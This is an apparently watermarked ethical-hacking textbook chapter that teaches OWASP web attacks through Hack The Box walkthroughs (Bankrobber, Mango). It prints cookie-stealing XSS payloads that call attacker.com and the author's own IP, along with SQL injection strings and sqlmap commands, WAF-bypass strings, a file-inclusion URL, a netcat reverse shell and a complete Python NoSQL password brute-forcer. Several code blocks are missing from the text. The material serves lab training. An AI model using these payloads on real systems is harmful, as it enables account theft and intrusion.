1 ┌─[✗]─[rin@parrot]─[~/boxes/ForwardSlash]
2 └──╼ $gobuster vhost -w /usr/share/SecLists/Discovery/DNS/\
3 subdomains-top1million-20000.txt -u http://forwardslash.htb
4 <SNIP>
5 Found: backup.forwardslash.htb (Status: 302) [Size: 33]
Add backup.forwardslash.htb to the /etc/hosts file, then navigate to that URL on the
browser to get to the same login page.
A webpage can communicate with other programs running on servers by submitting data
through the use of HTML forms, or by using communications technologies such as Web
Sockets and Ajax (Asynchronous JavaScript and XML). This communication can be
handled using a variety of different programming frameworks and web services including
REST (Representational State Transfer), Python Django, Ruby on Rails and ASP.NET (to
name just a few of the many).
Web services that are provided by applications running on servers typically interact with
database technologies of some kind to handle the data used by the application. This will be
either a relational database of some sort (some examples of which are MySQL,
PostgreSQL, Microsoft SQL Server, Oracle) or what is called a NoSQL database (for
example, MongoDB, AWS Dynamo DB, Azure Cosmos DB).
It is the interactivity of websites and applications that make them vulnerable to exploitation
and give attackers the ability to execute commands on the remote machine, or view or alter
hide01.ir
files on that machine. Although there are many ways in which the interaction of browser,
web applications, operating systems and databases can be exploited, we are going to focus
on the top 10 most common types of vulnerabilities that are exploited by attackers.
Whilst browsing a website, there are a number of specific types of vulnerabilities that you
would be looking for. This starts with identifying the software being used for the site, the
directory structure as outlined in the previous chapter, and then concentrating on the
functionality of the site.
When looking for vulnerabilities, it is worth concentrating on the most common. The Open
Web Application Security Project (OWASP) maintains a list of the top 10 most critical
security risks to web applications. The latest list is:
1. Injection
2. Broken Authentication
3. Sensitive Data Exposure
4. XML External Entities (XXE)
5. Broken Access Control
. Security Misconfiguration
7. Cross-Site Scripting (XSS)
. Insecure Deserialisation
9. Using Components with Known Vulnerabilities
10. Insufficient Logging and Monitoring
There are tools which will scan a web application automatically for these vulnerabilities
with varying degrees of success. Some of these tools include OWASP ZAP, Burp Suite
Professional, OpenVAS and Nessus to name a few. We will be doing the process manually
however because it is important to understand the underlying mechanisms by which these
vulnerabilities work, and also how they can be mitigated.
We will look at this slightly out of order because I want to cover an example of cross-site
scripting XSS that then leads to a SQL injection vulnerability being exposed.
hide01.ir
Cross-Site Scripting (XSS)
Web applications usually respond to HTTP requests from a user's browser or other
application. The server application will send a mixture of HTML, CSS and JavaScript that
will be rendered and executed by the client. The browser will take the HTML and create a
document object model (DOM) of the page using the CSS to style and format the HTML.
Finally, JavaScript may be executed, and this could dynamically change the DOM and
styling. Using JavaScript in this way helps to make the page responsive and avoiding round
trips on the network back to the server. All of this makes the code that executes on the client
vulnerable to attack in a number of different points in this process.
Cross-site scripting is another example of allowing unchecked and unsanitized input. In this
case, the input is of HTML and JavaScript. If the JavaScript is executed by a target's
browser, there is the potential to do a number of malicious things including:
JavaScript to steal cookies that may contain session tokens that can be used for
impersonation of a user.
Use HTML5 to gain access to microphones, cameras and other devices on the
computer
Keylogging by registering event listeners
Make other HTTP requests to carry out Server-Side Request Forgery (SSRF) attacks
Change the appearance of the page to abuse the target
XSS relies on the targeted user to interact with URLs and to potentially allow access when
requested, so it relies heavily on social engineering techniques to trick a user into doing
things on the attacker's behalf. In this respect though, it is not that dissimilar to phishing
attacks generally.
There are three main types of XSS. The first two differ in whether they are persistent or not.
Stored XSS
Stored XSS is where an attacker injects malicious content that is stored by the application
and then served up to other victims who visit the site. An example of this is would be
hide01.ir
injecting script into the input of a comment feature on a site which then gets displayed to
other users. The script can be crafted to steal cookies by using the code:
<script>window.location="http://attacker.com/?cookie=" + document.cookie</sc
<img src="javascript:alert('XSS');">
<script src=http://attacker.com/xss.js></script>
Reflected XSS
This is a non-persistent XSS attack where the target is tricked into clicking a link to a site
that incorporates the malicious script. An example of this would be tricking a target to click
on a search link:
1 <a href=http://search.com/search?keyword=<script>
2 window.location='http://attacker.com/?cookie=' +
3 document.cookie</script>;>Click Here</a>
The script would be executed when the search function prints the results:
DOM-based XSS
In DOM-based XSS, the attacker uses the existing scripts on a page to write malicious code
to the page itself where it is then executed. All of this can happen on the client when the
page's javaScript is executed bypassing any filtering or protection on the server itself.
1 <html>
2 Your search: <em></em>
3 <script>
4 var keyword = location.search.substring(9);
5 document.querySelector('em').innerHTML = keyword;
6 window.location=document.querySelector('em').innerHTML
7 </script>
8 </html>
This would then result in the malicious script being included in the page:
1 <html>
2 Your search: <em>javascript:alert("DOM XSS on: " + document.domain)</em>
3 <script>
4 var keyword = location.search.substring(6);
5
hide01.ir
document.querySelector('em').innerHTML = keyword;
6 </script>
7 </html>
1 ┌─[rin@parrot]─[~/boxes/Bankrobber]
2 └──╼ $sudo nmap -v -sC -sV -T4 --min-rate 1000 -p- bankrobber.htb \
3 -oA nmap/full-tcp
4 <SNIP>
5 PORT STATE SERVICE VERSION
6 80/tcp open http Apache httpd 2.4.39 ((Win64) OpenSSL/1.1.1b PHP/7.3.4)
7 | http-methods:
8 |_ Supported Methods: GET HEAD POST OPTIONS
9 |_http-server-header: Apache/2.4.39 (Win64) OpenSSL/1.1.1b PHP/7.3.4
10 |_http-title: E-coin
11 443/tcp open ssl/http Apache httpd 2.4.39 ((Win64) OpenSSL/1.1.1b PHP/7.3.
12 | http-methods:
13 |_ Supported Methods: GET HEAD POST OPTIONS
14 |_http-server-header: Apache/2.4.39 (Win64) OpenSSL/1.1.1b PHP/7.3.4
15 |_http-title: Bad request!
16 | ssl-cert: Subject: commonName=localhost
17 | Issuer: commonName=localhost
18 | Public Key type: rsa
19 | Public Key bits: 1024
20 | Signature Algorithm: sha1WithRSAEncryption
21 | Not valid before: 2009-11-10T23:48:47
22 | Not valid after: 2019-11-08T23:48:47
23 | MD5: a0a4 4cc9 9e84 b26f 9e63 9f9e d229 dee0
24 |_SHA-1: b023 8c54 7a90 5bfa 119c 4e8b acca eacf 3649 1ff6
25 |_ssl-date: TLS randomness does not represent time
26 | tls-alpn:
27 |_ http/1.1
28 445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds
29 (workgroup: WORKGROUP)
30 3306/tcp open mysql MariaDB (unauthorized)
31 Service Info: Host: BANKROBBER; OS: Windows; CPE: cpe:/o:microsoft:windows
MariaDB is very similar to MySQL and uses the same SQL syntax. After navigating to the
URL http://bankrobber.htb we find a Bitcoin trading platform called E-coin.
hide01.ir
There is a login function and below that a place to register new accounts. If we register an
account with username 'john' and password 'password' and then login, we are taken to a
page that allows us to transfer E-coin to (presumably) another user using the ID of the user.
hide01.ir
If we right click on the page and select Inspect Element to go into the developer tools of the
browser, we can navigate to the Storage tab and look at the Cookies that have been set. The
cookies are:
1 id: 3
2 password: cGFzc3dvcmQ%3D
3 username: am9obg%3D%3D
The username and password cookies are simply the Base64 encoded versions of "john" and
"password" which you can verify for yourself. We can see that the id of the user is 3 and so
hide01.ir
it suggests that there are at least 2 other users (1 and 2) on the system.
This suggests that a person will be reviewing the transfer and so anything we put in the
comment field is likely to be rendered when the admin views it. This makes the comment
field a candidate for cross-site scripting. To test this, let us start a Python web server on our
box:
1 ┌─[rin@parrot]─[~/boxes/Bankrobber]
2 └──╼ $sudo python3 -m http.server 80
3 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/)
We can then create a new transaction and put the following HTML into the comment field:
This eventually hits the Python web server, and we get the request:
1 ┌─[rin@parrot]─[~/boxes/Bankrobber]
2 └──╼ $sudo python3 -m http.server 80
3 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
4 10.129.70.254 - - [25/Feb/2021 10:38:08] code 404, message File not found
5 10.129.70.254 - - [25/Feb/2021 10:38:08] "GET /img.jpg HTTP/1.1" 404 -
So we know that XSS works. The first thing we can do is to steal the administrator's
cookies. We know that the cookies used on the site simply consist of the username and
password Base64 encoded. To get them we can use the JavaScript function
document.cookie() in the following way:
hide01.ir
<img src=x onerror=this.src="http://10.10.14.135/?c="+document.cookie />
This returns the base64 for both username and password to be "admin" and
"Hopelessromantic":
After doing the SQL Injection to read source code (see later in the SQL injection section),
you discover a php file called backdoorchecker.php that will execute a "dir" command
supplied as POST parameter. However, the check only tests if the first three characters are
equal to "dir". By adding a "|" after "dir" you can add any other Windows command. The file
backdoorchecker.php also checks that the request came from the same machine checking
that the "REMOTE_ADDR" is equal to "::1" the IPv6 localhost address.
To exploit backdoorchecker.php, you can use the XSS to do an SSRF attack. To validate
that this will work, you will write a JavaScript file hosted from our machine and test a "ping"
command. Writing a script attack.js as follows:
To check that the ping is being sent, you can start tcpdump to collect the ping packets
which are of the type ICMP:
1 ┌─[rin@parrot]─[~/boxes/Bankrobber]
2 └──╼ $sudo tcpdump -i tun0 icmp
3 tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
4 listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
hide01.ir
To initiate the XSS you can use the script tag instead of the img tag. This will fetch and
execute the script attack.js:
<script src="http://10.10.14.135/attack.js"></script>
Once the script is fetched from the server, you should see tcpdump reporting the pings
being sent to our box:
We haven't dealt with exploitation and how to get access to an interactive session on a
remote box, however we will quickly get a "reverse shell" on the Bankrobber box using
Netcat. Netcat for windows can be downloaded from
https://eternallybored.org/misc/netcat/. Take a copy of the nc64.exe and rename as nc.exe
in your working directory.
As you are targeting a Windows box, you can provide access to netcat via SMB using a tool
smbserver.py which is part of the Impacket tools.
1 ┌─[✗]─[rin@parrot]─[~/boxes/Bankrobber]
2 └──╼ $sudo /opt/impacket/examples/smbserver.py share $(pwd) -smb2support
We would start the webserver to serve the JavaScript file and netcat listener to receive the
incoming connection for the reverse shell:
1 ┌─[oztechmuse@parrot]─[~/boxes/Bankrobber]
2 └──╼ $nc -lvnp 6001
3 listening on [any] 6001 ...
4 connect to [10.10.14.135] from (UNKNOWN) [10.129.103.158] 49736
5 Microsoft Windows [Version 10.0.14393]
6 (c) 2016 Microsoft Corporation. Alle rechten voorbehouden.
7 C:\xampp\htdocs\admin>whoami
8 whoami
9 bankrobber\cortin
This is not the end of the box, we have a reverse shell as the user cortin but the next part is
privilege escalation which involves a buffer overflow, something we will deal with in
Chapter 6.
hide01.ir
SQL Injection
As mentioned before, web pages running in a browser can interact with a server application
on a remote machine by sending instructions and data from the browser using parameters
passed in the URL (called the query string), HTML forms, or by using JavaScript. The server,
receiving instructions and data, will usually use this to complete some functionality, using
information stored in a database. An example might be a login screen which takes a
username and password in a form and submits them to the server for validation against
user information in a database.
An injection vulnerability occurs when an attacker can manipulate the instructions or data
collected by a browser before it is sent to the server application. This manipulation consists
of injecting commands into the data that get executed and then exploits a number of
different areas of functionality provided by the web application, revealing information from
the operating system such as viewing and updating files or directly interacting with the
database.
Of the main types of injection vulnerabilities in websites, SQL injection (SQLi) has been the
most prevalent, but other types of injection vulnerabilities can occur, including; NoSQL,
Object Relational Mapping (ORM), Expression Language (EL), Object Graph Navigation
Library (OGNL) and Template injection.
SQL Injection
SQL injections occur when a parameter provided from a user as part of a submitted form or
action is added, unprocessed, to a query:
The query will return all users because the query will always be true. The “--“ characters at
the end are comment characters in MySQL SQL and will terminate any further evaluation of
the query. How the SQL injection manifests in terms of functional behavior of the
application depends on what the input was supposed to do. If it was a username field for a
login, the effect will likely be that any username given will be accepted as existing. If the
password field is also injectable, then the login process can be bypassed.
This type of SQL injection is known as a “blind injection” because the output of the SQL
query is not immediately apparent in a response. In the case of input fields that control the
output of information on a page, a search box for example, the entire contents of a
database and other databases can be exposed.
Generally when testing for a SQL injection vulnerability, we try and alter the input data to
get a change in the returned HTML. Sometimes this might be simply looking at the length
of the returned data or having the application return an error because the format is incorrect
SQL code.
After working out whether an input is SQL injectable, the next challenge is to craft a SQL
statement to return data from any table or database of our choosing. One way of doing this
is to use a “Union Select” injection. A union command in SQL allows you to combine the
results of two separate select statements. By using a union, we can add our own entirely
separate select statement to the existing query and have the results of that query be
returned alongside the results of the original query. In order for a union select to work, the
number and usually, the type, of columns returned by both queries need to match. The first
thing we need to do is to work out how many columns were being returned by the original
query. We can do this by using a "order by" keyword. The order by keyword tells the query
hide01.ir
which column to sort the returned results on. So the the following query of data from a
users table will order the returned results by the 2nd column, i.e. the email address:
If you specify a number that is greater than the number of columns, the query will fail. To
find the number of columns returned by the query, we just need to increase the number until
the query fails. Once you have the number of columns returned, you can now create queries
where the results are returned in one or more columns, depending on how many, and the
types, of the original query's columns. Taking the query we have just detailed and adding a
union select to it, we could return the version of a MySQL database by using the injected
code:
Of course, we would have to terminate the injected SQL appropriately. There are other types
of approaches to injection other than union injection and these include time based and
error based injections. Error based injections can be used when error information is
viewable. The error will contain information about whatever is causing the error and we can
use that to return values by deliberately forcing errors to occur. In time based injection, we
don't get actual results but we can infer if a query is true or false by the amount of time the
query takes to execute.
Fortunately, SQL injection can be done relatively easily without worrying about the details
of types of attack, SQL syntax and database idiosyncrasies by using a tool called Sqlmap
that can determine the type of database being used and then what injected queries the
vulnerability will be susceptible to. With this established, Sqlmap can dump the entire
contents of a database or selected tables.
hide01.ir
Exercise: Using SQL injection on the
Bankrobber box
In order to try out SQL injection, we will go back to the Hack The Box machine, Bankrobber.
The XSS exploitation will gae us credentials for the admin user and with those, we can
access the administration functionality of the site where you discover a user's search
function that is SQL injectable.
You know that it is SQL injectable through the following process: Simple numbers like 1
and 2 in the search query return users with those numbers as ids. Putting a single quote
after the number results in an error that is returned saying that “There is a problem with
your SQL syntax”. Adding the MySQL comment text 1'-- - into the search field then returns
the user again.
Catching the entire search request in Burp (turn on the Burp proxy option in FoxyProxy and
click search to intercept the request in the Proxy tab, then send the request to the Repeater
tab in Burp using CTL-R) allows us to play with the SQL and determine that it is “union
hide01.ir
select” injectable. To determine the number of columns that the original query is returning,
we can use the following injection and sending it via Burp repeater:
term=1'+order+by+1--+-
This returns one user from the request. Incrementing the order by clause to 4 returns an
error “There is a problem with your SQL syntax” telling us that the number of columns in the
original query was 3. This means you can now carry out a union select with the query
string:
term=1'+union+select+'Field1','Field2',3--+-
1 HTTP/1.1 200 OK
2 Date: Thu, 01 Oct 2020 04:53:15 GMT
3 Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b PHP/7.3.4
4 X-Powered-By: PHP/7.3.4
5 Content-Length: 180
6 Connection: close
7 Content-Type: text/html; charset=UTF-8
8 <table width='90%'><tr><th>ID</th><th>User</th></tr>
9 <tr>
10 <td>1</td>
11 <td>admin</td>
12 </tr>
13 <tr>
14 <td>Field1</td>
15 <td>Field2</td>
16 </tr>
17 </table>
Knowing that this is a union select injectable field and that the database is MySQL, you can
dump the default database using the sqlmap command:
hide01.ir
sqlmap -r search.req --batch --dbms MySQL --technique U -p term --dump
Without the parameters –dbms, --technique and -p sqlmap will determine these itself, but it
is faster to provide them if you already know the answer.
sqlmap can carry out blind attacks by using timing techniques. These work by introducing
a delay in the response if the answer to a query is true. An example of this given by OWASP
for MySQL uses the BENCHMARK(50000000,ENCODE('MSG', 'by 5 seconds')) statement to
introduce an approximately 5 second pause. So the SQL statement
Will test if the first character in the password is ‘2’ (assuming the password is in clear text).
Whilst sqlmap can save time in obtaining information from SQL injection, it is always
useful to know how to get the information manually. For example, in Bankrobber, you can
list the databases in MariaDB with the command:
1 term=1'+union+select+'Field1',(SELECT group_concat(schema_name)
2 FROM information_schema.schemata),3--+-
bankrobber,information_schema,mysql,performance_schema,phpmyadmin,test
The site, PayloadsAllTheThings has a SQL Injection Cheat Sheet that lists other commands
for exploring databases.
We can list the tables in the database bankrobber with the following query:
This returns the tables: admin, balance, hold and users. We can list the columns in the
users table using the command:
|id|,|username|,|password|,|USER|,|CURRENT_CONNECTIONS|,|TOTAL_CONNECTIONS|
Finally, we could list the usernames and passwords for the users:
Which returns:
admin:Hopelessromantic,gio:gio
Nothing particularly useful. One function that you can use in SQL is the LOAD_FILE
function which will allow us to include a local file into the response. We can try it with a well
known Windows file c:\Windows\win.ini
If we enumerate the web directories with Gobuster we find for the root directory:
1 ┌─[rin@parrot]─[~/boxes/Bankrobber]
2 └──╼ $gobuster dir -t 50 -w /usr/share/wordlists/dirbuster/\
3 directory-list-2.3-medium.txt -x php,txt -u http://bankrobber.htb
4 <SNIP>
5 /index.php (Status: 302)
6 /img (Status: 301)
7 /login.php (Status: 302)
8 /register.php (Status: 200)
9 /user (Status: 301)
10 /admin (Status: 301)
11 /link.php (Status: 200)
12 /css (Status: 301)
13 /Index.php (Status: 302)
14 /Login.php (Status: 302)
15 /js (Status: 301)
16 /notes.txt (Status: 200)
17 /logout.php (Status: 302)
18 /licenses (Status: 403)
The key bit of information is that the Xampp folder is in the default location. XAMPP is a
product that packages up Apache, MariaDB, PHP and Perl to run web applications.
MariaDB is compatible with MySQL and so is largely indistinguishable for our purposes.
hide01.ir
Going back to the home page, there was another function called a We also know that the
function called a Backdoorchecker that said it would allow the dir command but when you
try it, you get an error message:
It would be worth looking at the code for this file which we can do using SQL injection
1 <?php
2 include('../link.php');
3 include('auth.php');
4 $username = base64_decode(urldecode($_COOKIE['username']));
5 $password = base64_decode(urldecode($_COOKIE['password']));
6 $bad = array('$(','&');
7 $good = "ls";
8 if(strtolower(substr(PHP_OS,0,3)) == "win"){
9 $good = "dir";
10 }
11 if($username == "admin" && $password == "Hopelessromantic"){
12 if(isset($_POST['cmd'])){
13 // FILTER ESCAPE CHARS
14 foreach($bad as $char){
15 if(strpos($_POST['cmd'],$char) !== false){
16 die("You're not allowed to do that.");
17 }
18 }
19 // CHECK IF THE FIRST 2 CHARS ARE LS
20 if(substr($_POST['cmd'], 0,strlen($good)) != $good){
21 die("It's only allowed to use the $good command");
22 }
23 if($_SERVER['REMOTE_ADDR'] == "::1"){
24 system($_POST['cmd']);
25 } else{
26 echo "It's only allowed to access this function from localhost (::1).<b
27 This is due to the recent hack attempts on our server.";
28 }
hide01.ir
29 }
30 } else{
31 echo "You are not allowed to use this function!";
32 }
33 ?>
The key things about this code are that it checks that cookie has username with a value of
"admin" and password with a value of "Hopelessromantic" (11). It then checks that the
command does not include '&' which would allow us to run a second command after the
'dir' command v. It checks that the command starts with 'dir' so that we can't substitute
other commands instead w. It checks if the request came from the local machine x. Finally,
it executes the command y. The flaw here is is that although it is checking for bad
characters that could manipulate the command and run other arbitrary commands, it still
allows us to use the '|' character which works in the same way as the '&' after a command.
We can now run a command but we still need to do this using server-side request forgery
using the XSS vulnerability as we did earlier in the chapter.
hide01.ir
Web Application Firewalls and SQL Injection
A few of the principal mitigations against SQL injection are to code applications in such a
way as to not allow dynamic queries, to use parameterized calls to databases and to use
Object Relational Mapping tools. A more general defence that works across any application
is to use a web application firewall (WAF) that monitors http traffic to an application and
specifically looks for requests that may be exploiting vulnerabilities such as SQL injection
and XSS. An Open Source WAF is ModSecurity[3] which can work with a variety of rule sets
including the OWASP ModSecurity Core Rule Set which attempts to protect against a range
of injection attacks, XSS, data leakages and other things. The rule sets detect probing of
the type you outlined above and the presence of SQL commands.
WAFs can sometimes be bypassed using a variety of techniques. In part the bypass will
depend on whether the WAF simply removes offending keywords and allows the request to
proceed or whether it blocks the request entirely. One technique involves inserting comment
characters into the select statement. For example:
?id=1'+un/**/ion+sel/**/ect+1,2,3--
?id=1'+union+select+1,2,3--
?id=1+UNunionION+SEselectLECT+1,2,3--
Another technique involves changing the case of the key words or replacing characters with
their url encoded characters
hide01.ir
char(37,%20112,%2097,%20115,%20115,%2037) = %pass%
A more destructive type of bypass involves trying to crash the firewall or doing a buffer
overflow on the input.
hide01.ir
NoSQL Injection
NoSQL servers like MongoDB offer a different approach to data storage from relational
databases using SQL. Data is stored as collections of unstructured documents in JSON
format. When sending a query for NoSQL, you pass a JSON array. To check the username
and password of a user, you might pass the following array:
1 {
2 "username":"johndoe",
3 "password":"letmein"
4 }
In the case of a NoSQL query object being passed to an application that is checking a
username and password, the following query object would avoid the password check
1 {
2 "username":{"$ne":""},
3 "password":{"$ne": ""}
4 }
The value {"$ne":""} would equate to true and so cause the entire expression to evaluate to
true.
The $regex expression can be used to find out how long a username or password is by
using the expression
hide01.ir
1 {
2 "username":{"$regex":"^.{5}$"},
3 "password":{"$ne": ""}
4 }
If the expression evaluates to true, you know that there is at least one username of length 5.
hide01.ir
Exercise: Writing a NoSQL injection
password fuzzer for the Mango box
In the Hack The Box machine Mango, an nmap scan reveals an Ubuntu box running SSH on
port 22 u, a website on port 80 v and a website on port 443 w. The website on port 80 is
returning a status code of 403 forbidden for the default home page. For the website on port
443, the SSL certificate reports a common name for the site of staging-order.mango.htb.
1 u 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol
2 | ssh-hostkey:
3 | 2048 a8:8f:d9:6f:a6:e4:ee:56:e3:ef:54:54:6d:56:0c:f5 (RSA)
4 | 256 6a:1c:ba:89:1e:b0:57:2f:fe:63:e1:61:72:89:b4:cf (ECDSA)
5 |_ 256 90:70:fb:6f:38:ae:dc:3b:0b:31:68:64:b0:4e:7d:c9 (ED25519)
6 v 80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
7 | http-methods:
8 |_ Supported Methods: GET POST OPTIONS HEAD
9 |_http-server-header: Apache/2.4.29 (Ubuntu)
10 |_http-title: 403 Forbidden
11 w 443/tcp open ssl/ssl Apache httpd (SSL-only mode)
12 | http-methods:
13 |_ Supported Methods: GET HEAD POST OPTIONS
14 |_http-server-header: Apache/2.4.29 (Ubuntu)
15 |_http-title: Mango | Search Base
16 | x ssl-cert: Subject: commonName=staging-order.mango.htb/organizationName
17 Mango Prv Ltd./stateOrProvinceName=None/countryName=IN
18 | Issuer: commonName=staging-order.mango.htb/organizationName=
19 Mango Prv Ltd./stateOrProvinceName=None/countryName=IN
20 | Public Key type: rsa
21 | Public Key bits: 2048
22 | Signature Algorithm: sha256WithRSAEncryption
23 | Not valid before: 2019-09-27T14:21:19
24 | Not valid after: 2020-09-26T14:21:19
25 | MD5: b797 d14d 485f eac3 5cc6 2fed bb7a 2ce6
26 |_SHA-1: b329 9eca 2892 af1b 5895 053b f30e 861f 1c03 db95
27 |_ssl-date: TLS randomness does not represent time
28 | tls-alpn:
29 |_ http/1.1
30 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
hide01.ir
Accessing the website on port 443 using https, we get a warning about the SSL certificate
which we can view and confirm nmap's findings that the Common Name of the site is
staging-order.mango.htb
Accepting the risk and continuing takes us to a web page with a search box that is
reminiscent of the Google search page.
hide01.ir
The search box is not functional as the buttons are hyperlinks to the same page. Clicking
on the link for Analytics takes us to a page which shows a spreadsheet with figures broken
down by US states.
After enumerating this page, there is nothing that appears obviously exploitable. If we use
the URL http://staging-order.mango.htb so that it accesses the site via port 80 however, we
hide01.ir
get a login page for a different virtual site.
Putting in a username and password and clicking Login takes us back to the same page.
We can send the request to Burp by intercepting the request after setting FoxyProxy to use
Burp as the proxy. Once we have the request, we can forward to the Repeater tab. Sending
the same request with a username of john and password of password results in a status of
200 (OK) and the same page. We can check if the login in vulnerable to SQL injection by
adding a single quote after the username and the password, but it doesn't appear that it is.
The fact that the site provides search functionality and it is called Mango, which is very
close to Mongo, as in Mongo DB suggests that is the technology it is using, so we can try
doing NoSQL injection.
username[$ne]=john&password[$ne]=john&login=login
hide01.ir
The format reflects the fact that it is PHP interpreting the parameters and the parentheses
after the variable tells PHP to interpret the variable username as an object which can act on
the $ne regular expression.
Further enumeration of the site once logged on through this bypass doesn't reveal anything.
However, we can use the injection to brute force usernames and passwords and to do this,
we can write a Python program.
1 import requests
2 from cmd import Cmd
3
4 def inject(data):
5 v r = requests.post("http://staging-order.mango.htb/",
6 data=data, allow_redirects=False)
7 if r.status_code != 200:
8 return True
9
10 def brute_user(user=""):
11 secret = user
12 payload = ""
13 while True:
14 data = {"username[$regex]":"^" + payload + "$",
15 "password[$ne]":"rin", "login":"login"}
16 if inject(data):
17 print("")
18 break
19
20 # cycle through lowercase characters a-z
21 for i in range(97,123):
22 payload = secret + chr(i)
23 print("\r" + payload, flush=False, end='')
24 data = {"username[$regex]":"^" + payload, "password[$ne]":"rin",
25 "login":"login"}
26
27 if inject(data):
28 print("\r" + payload, flush=True, end='')
29 secret = secret + chr(i)
30 break
31 def brute_password(user=""):
32 secret = ""
33 payload = ""
34 while True:
35 data = {"username": user, "password[$regex]": "^" + payload + "$",
36 "login":"login"}
37
hide01.ir
38 if inject(data):
39 print("")
40 break
41
42 # cycle through characters ! to ~
43 for i in range(32,127):
44 if (chr(i) in ['.','?','*','^','+','|','$']):
45 backspace = " "
46 payload = secret + "\\" + chr(i)
47 else:
48 backspace = " "
49 payload = secret + chr(i)
50 print("\r" + payload + backspace, flush=False, end='')
51 data = {"username": user, "password[$regex]": "^" + payload,
52 "login":"login"}
53
54 if inject(data):
55 print("\r" + payload + backspace, flush=True, end='')
56 secret = secret + chr(i)
57 break
58
59 class Terminal(Cmd):
60 intro = 'Bruteforcer for http://staging-order.mango.htb/'\
61 ' Type help or ? to list commands.\n'
62
63 def do_getuser(self, args):
64 "Brute force username with optional starting string"
65 brute_user(args)
66
67 def do_getpassword(self, args):
68 "Brute force password for specified username"
69 brute_password(args)
70
71 term = Terminal()
72 term.cmdloop()
To start with, the script imports u the Python module requests which we will use for
handling the HTTP requests and responses and the module Cmd that will handle accepting
command input at the terminal and executing commands in user friendly way. When run,
the program will access the commands getuser <user> and getpassword <user>. These
commands are defined as do_getuser and do_getpassword ~ as part of the Terminal class.
do_getuser calls the function brute_user w which sets up a payload that uses the x the
expression username[$regex]":"^". This will try and match any text that starts with the
username we are passing in. So if the username was administrator, the expression would
hide01.ir
match text of "admin". In this way we can keep looping building up our test username one
letter at a time and when we get a match, move on to the next. The injection is called y with
whatever string we have passed into the function and then it loops z successively adding
characters from ASCII 97 to ASCII 123, characters a through z. As this is a username we are
testing, we can assume lower case alphabetic characters. For the password, we will widen
the range to include non-alphabetic characters like numbers and special characters. Some
characters need escaping because they have a special meaning in regex terms and this is
done here }.
The function brute_password { is similar, but operating on the password field and not
username |.
The program starts with creating a Terminal object and calling the command loop that
waits for input. If a string is passed to getuser, it will be used as the seed for the brute
forcing of that user. A password will be fetched by getpassword for the user supplied as an
argument. In this way, multiple users can be brute forced.
Running the application for users we get two, admin and mango. Running each of these
reveals the passwords (admin:t9KcS3>!0B#2 and mango:h3mXK8RhU~f{]f5H) and the user
mango can SSH into the machine. Once on the box, we can see that in the /home directory
there is the home directory of the other user admin. We can switch user using the su
command and use the password we retrieved earlier for the user admin:
1 mango@mango:~$ su - admin
2 Password:
3 $ whoami
4 admin
As the admin user, we can run linpeas, but let us just look for any files that have the SUID
bit set using the following
The interesting program here is jjs which will allows JavaScript to be run at the command
line. Looking at GTFOBins, the jjs program can be used if it has SUID to write files and so
we can use it to write an SSH key to root's .ssh directory. Generate an SSH key using ssh-
keygen and then enter the contents of the key.pub file you generated into the script which
you can copy and then paste into the terminal as the user admin :
We can now use the SSH key to get onto the box as root:
1 ┌─[rin@parrot]─[~/boxes/Mango]
2 └──╼ $ssh -i key [email protected]
3 Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-64-generic x86_64)
4 <SNIP>
5 Last login: Thu Sep 24 09:49:52 2020
6 root@mango:~#
hide01.ir
Template Injection
Web application frameworks often use a templating engine which allows them to easily
create web pages of html from a combination of html and data. A template file
(sample.html.twig) using the PHP template system Twig might look like
1 <p>
2 is a
3 </p>
4 The PHP code to render this as an html page would then be:
5 echo $twig->render('sample.html.twig', ['name' => 'John Doe',
6 'occupation' => 'Penetration Tester']);
7 A vulnerability would occur with code that works as follows:
8 echo $twig->render('sample.html.twig', ['name' => $_GET[‘name’],
9 'occupation' => $_GET[‘occupation’]]);
An attacker can detect the injection by passing the string “” as the name argument and
seeing 49 displayed in the rendered page. For the Python template engine Jinja2, the string
‘” produces a different result of “7777777” which enables us to differentiate the underlying
code environment.
hide01.ir
File Inclusion, Broken Authentication,
Cracking Hashes
File Inclusion
1 <?php
2 if (isset($_GET['category'])) {
3 include($_GET['category']);
4 }
5 ?>
This code is then vulnerable to both local and remote file inclusion. If this code was hosted
as a page lfi.php on a Linux system for example, the code could be exploited with URLs
such as:
https://www.vulnerablesite.com/lfi.php?category=../../../../../etc/passwd
hide01.ir
Broken Authentication
Broken authentication covers any vulnerability that is related to password authentication
that is not secure. This might result from a number of causes:
The continuing breaches of millions of users’ accounts have given rise to dumps of
usernames and cracked passwords that can be used in “Credential Stuffing” attacks. In
these attacks, the credentials from a dump are tried on other sites on the assumption that
many users use the same email address and password across multiple services. Another
type of attack relies on many users using simple and common passwords. In this attack,
called “Password Spraying”, the same password is tried against multiple user accounts.
Default usernames and passwords for applications is becoming less common but is still a
major issue with Internet of Things devices. In the past, the initial default administrator
account would have a default username and password. Applications now are requiring this
password to be changed on installation or first use and so this is less common now.
From an ethical hacking perspective, it is always worth trying default usernames and
passwords when encountering a login page. When collecting usernames and possible
passwords, it is also a good idea to test these username password combinations with
different services. Many tools that allow enumeration of services will take a file of
usernames and passwords and automated the login process with these candidate
credentials.
hide01.ir
Cracking Hashes
Passwords are normally not stored in clear text but as a cryptographic hash that is
obtained usually by combining the password with a random “salt” value and then hashing
with a hash function, sometimes multiple times. Applications use different algorithms for
hashing passwords, the relative strength of these has gotten stronger over time. An
example of a password hashing process is Microsoft’s LAN Manager (LM) protocol that
used an encryption algorithm known as DES (Data Encryption Standard). The process went
as follows:
This algorithm makes cracking these types of hashes relatively easy. The hashes can be
first compared against large tables, called “Rainbow Tables” of pre-calculated hashes of
common passwords and dictionary words. This won’t work if the password was hashed
